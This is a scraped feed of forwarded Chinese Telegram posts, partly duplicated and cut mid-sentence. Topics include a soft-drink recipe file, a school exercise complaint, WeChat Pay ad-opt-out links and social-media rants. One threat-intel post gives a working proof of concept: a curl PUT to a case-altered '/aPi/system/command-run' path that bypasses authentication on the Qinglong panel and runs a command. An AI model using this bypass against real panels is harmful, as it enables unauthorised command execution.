Forwarded from 赛博安全威胁情报🥸
青龙面板 最新版本 0day 鉴权绕过导致 RCE
青龙面板最新版存在一处鉴权绕过漏洞，未认证请求可访问高权限接口，并最终触发命令执行。
攻击者可通过大小写变形路径（如
-H "Content-Type: application/json" \
-d '{"command": "id"}'
原文：https://mp.weixin.qq.com/s/mbjS5himBugBI_KX8pC68g
#威胁情报 #poc
青龙面板最新版存在一处鉴权绕过漏洞，未认证请求可访问高权限接口，并最终触发命令执行。
攻击者可通过大小写变形路径（如
/API/...）绕过鉴权 curl -X PUT "https://localhost:5700/aPi/system/command-run" \ -H "Content-Type: application/json" \
-d '{"command": "id"}'
原文：https://mp.weixin.qq.com/s/mbjS5himBugBI_KX8pC68g
#威胁情报 #poc
Forwarded from Te1egram N0w (❄️ Hatsune Miku | 戒色第-1天)
OpenCola_soft_drink_recipe.pdf
57.8 KB
開源可樂~ 不過原料很難找 包括各種精油 咖啡因等 還包括可能有毒的化學物質
<NullPointerException> 二周目
响应教育部每天一小时体育锻炼的号召我校决定一天做两次广播操
我不知道上面的本意是不是好的 但是我知道每天一小时体育锻炼只是一个治标不治本的愚蠢花招 真正的想要提升学生体质绝对不是以强行延长一小时学生在校时长来做广播操为手段的 你我都很清楚学生得不到锻炼的根本原因在于什么制度 只不过大多数人都脱不开身而已
Forwarded from 是芙莉莲
以下链接直接复制发送给文件传输助手或者任意好友，在微信移动端打开即可（建议三个一起关更清净）
关闭微信支付后摇一摇
https://payapp.wechatpay.cn/useraccount/consumerprotection/queryuserbusitag?busi_type=3&scene=1&exportkey=
关闭微信支付服务营销骚扰
https://payapp.wechatpay.cn/useraccount/consumerprotection/queryuserbusitag?busi_type=2&scene=1&exportkey=
关闭微信支付服务个性化推荐广告
https://payapp.wechatpay.cn/useraccount/consumerprotection/queryuserbusitag?busi_type=1&scene=1&exportkey=
来源：
https://www.nodeseek.com/post-631730-1
关闭微信支付后摇一摇
https://payapp.wechatpay.cn/useraccount/consumerprotection/queryuserbusitag?busi_type=3&scene=1&exportkey=
关闭微信支付服务营销骚扰
https://payapp.wechatpay.cn/useraccount/consumerprotection/queryuserbusitag?busi_type=2&scene=1&exportkey=
关闭微信支付服务个性化推荐广告
https://payapp.wechatpay.cn/useraccount/consumerprotection/queryuserbusitag?busi_type=1&scene=1&exportkey=
来源：
https://www.nodeseek.com/post-631730-1
NodeSeek
微信支付后摇一摇太烦人？一键关闭入口的链接我抓出来了
以下链接直接复制发送给文件传输助手或者任意好友，在微信移动端打开即可（建议三个一起关更清净）关闭微信支付后摇一摇https://payapp.wechatpay.cn/useraccount/consumerprotection/queryuserbusitag?busi_type=3&scene=1&am
Forwarded from 希特乐乐
某个站点刻意营造信息茧房、知识壁垒，总喜欢在错误的地方。
千里之堤，溃于蚁穴，这句话送给它。
我也会与它抗争到底。
大家是否还记得10块转让66万跑路的“沈万三”？还是像伊朗精神领袖一样拥护它，直至被击溃。
时间会证明一切，等着。
千里之堤，溃于蚁穴，这句话送给它。
我也会与它抗争到底。
大家是否还记得10块转让66万跑路的“沈万三”？还是像伊朗精神领袖一样拥护它，直至被击溃。
时间会证明一切，等着。
Forwarded from 这里是半夏 (半夏 残风)
如果你2022年 +888账号刚推出的时候，花三千RMB买+888，那么现在已经能换一套二线城市的房
这里是半夏
如果你2022年 +888账号刚推出的时候，花三千RMB买+888，那么现在已经能换一套二线城市的房
记得最早的时候才几百块一个888